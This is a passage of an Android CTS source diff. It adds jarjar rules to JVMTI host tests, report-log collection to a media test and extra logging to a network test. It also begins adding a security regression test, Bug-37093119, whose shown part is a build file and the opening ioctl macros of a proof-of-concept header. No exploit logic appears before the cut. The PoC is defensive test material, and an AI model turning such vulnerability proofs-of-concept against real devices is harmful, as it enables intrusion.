 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
new file mode 100644
index 0000000..69ffbde
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest919@1
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
index fe657c5..3029742 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
new file mode 100644
index 0000000..a819464
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest920@1
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
index 22ed7e5..bf10341 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
new file mode 100644
index 0000000..9334c2d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest922@1
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
index 6cd0d9a..fd2d6f8 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
new file mode 100644
index 0000000..5054eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest923@1
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
index d82624d..4b917d8 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
new file mode 100644
index 0000000..86780fc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest924@1
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
index ecc0adf..9e0ffe1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
new file mode 100644
index 0000000..831e1634
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest926@1
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
index c21e1b3..3371896 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
new file mode 100644
index 0000000..e342e09
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest927@1
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
index a39c00c..3b0e60c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
new file mode 100644
index 0000000..52ce9fe
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest928@1
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
index c167010..3b7ddf7 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
new file mode 100644
index 0000000..b45db2f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest930@1
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
index efaf177..8f2cec9 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
new file mode 100644
index 0000000..9570d03
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest931@1
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
index 87f3f50..4e655f5 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
new file mode 100644
index 0000000..fc9fd30
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest932@1
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
index a45027b..99fc6ae 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
new file mode 100644
index 0000000..71c7825
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest940@1
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
index cca98d1..68d839b 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
new file mode 100644
index 0000000..76d0e86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest942@1
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
index a824d42..bcc2046 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
new file mode 100644
index 0000000..3f0fecf
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest944@1
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
index d236d62..b06d1f9 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
new file mode 100644
index 0000000..03ea4b9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest945@1
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
index bdcabac..2258a4b 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
new file mode 100644
index 0000000..d229133
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest947@1
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
index e15f415..5677f8b 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
new file mode 100644
index 0000000..34d0341
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest951@1
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
index 458c5fe..b766614 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
new file mode 100644
index 0000000..125fa3f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest982@1
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
index bf2f3e0..2d71278 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
new file mode 100644
index 0000000..b50c2b6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest984@1
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
index 1f9d2a4..06e4454 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
new file mode 100644
index 0000000..a784447
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest985@1
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
index 3d8bf7c..e198471 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
new file mode 100644
index 0000000..51026b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest986@1
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
index 0351f04..3d3e9e4 100644
--- a/hostsidetests/jvmti/tagging/Android.mk
+++ b/hostsidetests/jvmti/tagging/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/jvmti/tagging/jarjar-rules.txt b/hostsidetests/jvmti/tagging/jarjar-rules.txt
new file mode 100644
index 0000000..3dbf65a
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestTagging@1
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 9c8da50..6a60a65 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -26,6 +26,12 @@
         <option name="target" value="device" />
         <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+        <option name="src-dir" value="/sdcard/report-log-files/"/>
+        <option name="dest-dir" value="report-log-files/"/>
+        <option name="temp-dir" value="temp-report-logs/"/>
+        <option name="device-dir" value="true"/>
+    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMediaBitstreamsTestCases.jar" />
         <option name="runtime-hint" value="4h50m" />
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
index c2d57db..9da57f3 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
@@ -248,8 +248,8 @@
         MetricsReportLog report = new MetricsReportLog(
                 mBuildHelper.getBuildInfo(), mAbi.getName(),
                 String.format("%s#%s", className, methodName),
-                MediaBitstreams.K_MODULE + "." + this.getClass().getCanonicalName(),
-                "media_bitstreams_conformance");
+                MediaBitstreams.K_MODULE + "." + this.getClass().getSimpleName(),
+                "media_bitstreams_conformance", true);
         return report;
     }
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index b38eb0f..535703f 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -141,6 +141,7 @@
         Log.i(TAG, "Apps status on " + getName() + ":\n"
                 + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
                 + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
+        executeShellCommand("settings get global app_idle_constants");
    }
 
     @Override
@@ -388,6 +389,8 @@
             timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
         }
         dumpAllNetworkRules();
+        Log.d(TAG, "Usagestats dump: " + getUsageStatsDump());
+        executeShellCommand("settings get global app_idle_constants");
         fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
                 + " attempts.\nLast error: " + error);
     }
@@ -859,16 +862,8 @@
 
     protected void setAppIdle(boolean enabled) throws Exception {
         Log.i(TAG, "Setting app idle to " + enabled);
-        final String beforeStats = getUsageStatsDump();
         executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
-        try {
-            assertAppIdle(enabled); // Sanity check
-        } catch (Throwable e) {
-            final String afterStats = getUsageStatsDump();
-            Log.d(TAG, "UsageStats before:\n" + beforeStats);
-            Log.d(TAG, "UsageStats after:\n" + afterStats);
-            throw e;
-        }
+        assertAppIdle(enabled); // Sanity check
     }
 
     private String getUsageStatsDump() throws Exception {
@@ -883,7 +878,7 @@
                     && !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
                 continue;
             }
-            if (str.contains("config=")) {
+            if (str.trim().startsWith("config=") || str.trim().startsWith("time=")) {
                 continue;
             }
             sb.append(str).append('\n');
@@ -892,7 +887,13 @@
     }
 
     protected void assertAppIdle(boolean enabled) throws Exception {
-        assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+        try {
+            assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+        } catch (Throwable e) {
+            Log.d(TAG, "UsageStats dump:\n" + getUsageStatsDump());
+            executeShellCommand("settings get global app_idle_constants");
+            throw e;
+        }
     }
 
     /**
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index bde4e94..9b3c7c3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -132,6 +132,7 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
         <option name="push" value="Bug-62058746->/data/local/tmp/Bug-62058746" />
+        <option name="push" value="Bug-37093119->/data/local/tmp/Bug-37093119" />
 
 
         <option name="append-bitness" value="true" />
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
new file mode 100644
index 0000000..e10834b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-37093119
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h b/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h
new file mode 100644
index 0000000..456fe36
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h
@@ -0,0 +1,349 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+#endif
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
